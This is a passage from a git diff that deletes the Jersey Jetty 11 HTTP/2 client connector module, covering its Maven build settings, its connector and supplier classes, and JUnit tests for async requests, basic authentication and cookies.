-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-jetty11-http2</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-            <dependency>
-                <groupId>com.sun.xml.bind</groupId>
-                <artifactId>jaxb-osgi</artifactId>
-                <scope>test</scope>
-            </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-compiler-plugin</artifactId>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-                <configuration>
-                    <instructions>
-                        <Import-Package>
-                            ${jetty.osgi.version},
-                            *
-                        </Import-Package>
-                    </instructions>
-                </configuration>
-            </plugin>
-        </plugins>
-    </build>
-
-</project>
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
deleted file mode 100644
index 454efd0..0000000
--- a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.http2.client.HTTP2Client;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
-import org.glassfish.jersey.jetty.connector.JettyConnector;
-import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
-import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
-
-/**
- * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
- *
- * @since 2.41
- */
-public class JettyHttp2ClientSupplier implements JettyHttpClientContract {
-    private final HttpClient http2Client;
-
-    /**
-     * default Http2Client created for the supplier.
-     */
-    public JettyHttp2ClientSupplier() {
-        this(createHttp2Client());
-    }
-    /**
-     * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
-     * to a {@link org.glassfish.jersey.client.ClientConfig}
-     * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
-     */
-    public JettyHttp2ClientSupplier(HttpClient http2Client) {
-        this.http2Client = http2Client;
-    }
-
-    private static final HttpClient createHttp2Client() {
-        final HttpClientTransport transport =  new HttpClientTransportOverHTTP2(new HTTP2Client());
-        return new HttpClient(transport);
-    }
-
-    @Override
-    public HttpClient getHttpClient() {
-        return http2Client;
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
deleted file mode 100644
index 7f1e45d..0000000
--- a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.http2.client.HTTP2Client;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
-import org.eclipse.jetty.io.ClientConnector;
-import org.glassfish.jersey.jetty.connector.JettyConnector;
-
-import java.util.Optional;
-
-/**
- * Extends {@link JettyConnector} with HTTP/2 transport support
- *
- * @since 2.41
- */
-class JettyHttp2Connector extends JettyConnector {
-
-
-    /**
-     * Create the new Jetty HTTP/2 client connector.
-     *
-     * @param jaxrsClient JAX-RS client instance, for which the connector is created.
-     * @param config      client configuration.
-     */
-    JettyHttp2Connector(Client jaxrsClient, Configuration config) {
-        super(jaxrsClient, config);
-    }
-
-    /**
-     * provides required {@link HttpClientTransport} for client
-     *
-     * The overriden method provides {@link HttpClientTransportOverHTTP2} with initialized {@link HTTP2Client}
-     *
-     * @return {@link HttpClientTransportOverHTTP2}
-     * @since 2.41
-     */
-    @Override
-    protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
-        return new HttpClientTransportOverHTTP2(new HTTP2Client(clientConnector));
-    }
-
-    /**
-     * provides custom registered {@link HttpClient} (if any) with HTTP/2 support
-     *
-     * @param config configuration where {@link HttpClient} could be registered
-     * @return {@link HttpClient} instance if any was previously registered or NULL
-     *
-     * @since 2.41
-     */
-    @Override
-    protected HttpClient getRegisteredHttpClient(Configuration config) {
-        if (config.isRegistered(JettyHttp2ClientSupplier.class)) {
-            Optional<Object> contract = config.getInstances().stream()
-                    .filter(a-> JettyHttp2ClientSupplier.class.isInstance(a)).findFirst();
-            if (contract.isPresent()) {
-                return  ((JettyHttp2ClientSupplier) contract.get()).getHttpClient();
-            }
-        }
-        return null;
-    }
-}
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
deleted file mode 100644
index 02eaf5a..0000000
--- a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configurable;
-import jakarta.ws.rs.core.Configuration;
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.client.Initializable;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
-
-/**
- * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
- *
- * @since 2.41
- */
-public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        return new JettyHttp2Connector(client, runtimeConfig);
-    }
-
-    public static HttpClient getHttpClient(Configurable<?> component) {
-        if (!(component instanceof Initializable)) {
-            throw new IllegalArgumentException(
-                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
-        }
-
-        final Initializable<?> initializable = (Initializable<?>) component;
-        Connector connector = initializable.getConfiguration().getConnector();
-        if (connector == null) {
-            initializable.preInitialize();
-            connector = initializable.getConfiguration().getConnector();
-        }
-
-        if (connector instanceof JettyHttp2Connector) {
-            return ((JettyHttp2Connector) connector).getHttpClient();
-        }
-
-        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
deleted file mode 100644
index 960bbb6..0000000
--- a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey HTTP2 client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
- * Jetty Client.
- */
-package org.glassfish.jersey.jetty.http2.connector;
diff --git a/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
deleted file mode 100644
index b219ef9..0000000
--- a/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
+++ /dev/null
@@ -1,21 +0,0 @@
-#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - HTTP method, e.g. GET, DELETE
-method.not.supported=Method {0} not supported.
-invalid.configurable.component.type=The supplied component "{0}" is not assignable from Jersey11Client or JerseyWebTarget.
-expected.connector.provider.not.used=The supplied component is not configured to use a Jetty11ConnectorProvider.
-not.supported=Jetty connector is not supported on JDK version less than 11.
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
deleted file mode 100644
index 76ef67b..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
+++ /dev/null
@@ -1,193 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.hamcrest.Matchers;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Logger;
-
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class AsyncTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
-    private static final String PATH = "async";
-
-    /**
-     * Asynchronous test resource.
-     */
-    @Path(PATH)
-    public static class AsyncResource {
-        /**
-         * Typical long-running operation duration.
-         */
-        public static final long OPERATION_DURATION = 1000;
-
-        /**
-         * Long-running asynchronous post.
-         *
-         * @param asyncResponse async response.
-         * @param id            post request id (received as request payload).
-         */
-        @POST
-        public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
-            LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(OPERATION_DURATION);
-                        return "DONE-" + id;
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED-" + id;
-                    } finally {
-                        LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }, "async-post-runner-" + id).start();
-        }
-
-        /**
-         * Long-running async get request that times out.
-         *
-         * @param asyncResponse async response.
-         */
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
-                            .entity("Operation time out.").build());
-                }
-            });
-            asyncResponse.setTimeout(1, TimeUnit.SECONDS);
-            asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
-                    .entity("Operation time out.").build());
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
-                    // simulated using sleep()
-                    try {
-                        Thread.sleep(5 * OPERATION_DURATION);
-                        return "DONE";
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED";
-                    } finally {
-                        LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }).start();
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(AsyncResource.class)
-                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    /**
-     * Test asynchronous POST.
-     *
-     * Send 3 async POST requests and wait to receive the responses. Check the response content and
-     * assert that the operation did not take more than twice as long as a single long operation duration
-     * (this ensures async request execution).
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncPost() throws Exception {
-        final long tic = System.currentTimeMillis();
-
-        // Submit requests asynchronously.
-        final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
-        final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
-        final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
-        // get() waits for the response
-        final String r1 = rf1.get().readEntity(String.class);
-        final String r2 = rf2.get().readEntity(String.class);
-        final String r3 = rf3.get().readEntity(String.class);
-
-        final long toc = System.currentTimeMillis();
-
-        assertEquals("DONE-1", r1);
-        assertEquals("DONE-2", r2);
-        assertEquals("DONE-3", r3);
-
-        assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
-    }
-
-    /**
-     * Test accessing an operation that times out on the server.
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncGetWithTimeout() throws Exception {
-        final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
deleted file mode 100644
index 5daad2d..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class AuthFilterTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testAuthGetWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testAuthPostWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().post(Entity.text("POST"));
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-
-    @Test
-    public void testAuthDeleteWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().delete();
-        assertEquals(204, response.getStatus());
-    }
-
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
deleted file mode 100644
index 7fe2edf..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.eclipse.jetty.client.util.BasicAuthentication;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.jetty.connector.JettyClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.inject.Singleton;
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class AuthTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
-    private static final String PATH = "test";
-
-    @Path("/test")
-    @Singleton
-    public static class AuthResource {
-
-        int requestCount = 0;
-
-        @GET
-        public String get(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("filter")
-        public String getFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return "GET";
-        }
-
-        @POST
-        public String post(@Context HttpHeaders h, String e) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return e;
-        }
-
-        @POST
-        @Path("filter")
-        public String postFilter(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-
-        @DELETE
-        public void delete(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-        }
-
-        @DELETE
-        @Path("filter")
-        public void deleteFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-        }
-
-        @DELETE
-        @Path("filter/withEntity")
-        public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(AuthResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Test
-    public void testAuthGet() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().get();
-        assertEquals("GET", response.readEntity(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testAuthPost() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
-        assertEquals("POST", response.readEntity(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testAuthDelete() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().delete();
-        assertEquals(response.getStatus(), 204);
-        client.close();
-    }
-
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
deleted file mode 100644
index eb1c653..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.JerseyClient;
-import org.glassfish.jersey.client.JerseyClientBuilder;
-import org.glassfish.jersey.jetty.connector.JettyClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.Cookie;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.NewCookie;
-import jakarta.ws.rs.core.Response;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class CookieTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
-
-    @Path("/")
-    public static class CookieResource {
-        @GET
-        public Response get(@Context HttpHeaders h) {
-            Cookie c = h.getCookies().get("name");
-            String e = (c == null) ? "NO-COOKIE" : c.getValue();
-            return Response.ok(e)
-                    .cookie(new NewCookie("name", "value")).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(CookieResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Test
-    public void testCookieResource() {
-        ClientConfig config = new ClientConfig();
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-        WebTarget r = client.target(getBaseUri());
-
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testDisabledCookies() {
-        ClientConfig cc = new ClientConfig();
